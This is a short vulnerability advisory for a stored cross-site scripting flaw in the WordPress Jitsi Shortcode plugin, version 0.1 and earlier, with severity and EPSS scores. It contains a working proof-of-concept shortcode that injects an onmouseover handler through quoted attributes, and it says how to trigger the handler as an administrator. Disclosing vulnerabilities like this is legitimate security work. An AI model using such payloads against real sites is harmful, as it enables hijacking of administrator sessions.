WordPress Jitsi Shortcode <= 0.1 - Contributor+ Stored XSS via Shortcode

2024-05-2400:00:00

Bob Matyas

wordpress

jitsi

shortcode

contributor

stored xss

admin

exploit

vulnerable parameters

5.8 Medium

AI Score

Confidence

High

0.0004 Low

EPSS

Percentile

9.1%

JSON

Description The plugin does not validate and escape some of its shortcode attributes before outputting them back in a page/post where the shortcode is embed, which could allow users with the contributor role and above to perform Stored Cross-Site Scripting attacks

As a contributor, add a shortcode:

```
[jitsi width="700px" height=700px" username='test" onmouseover="alert(1);"' useremail='" style="background-color: pink; height: 500px;"']
```

View the post as an admin and move your mouse over the pink box to trigger the XSS.

Note: Other parameters are also vulnerable.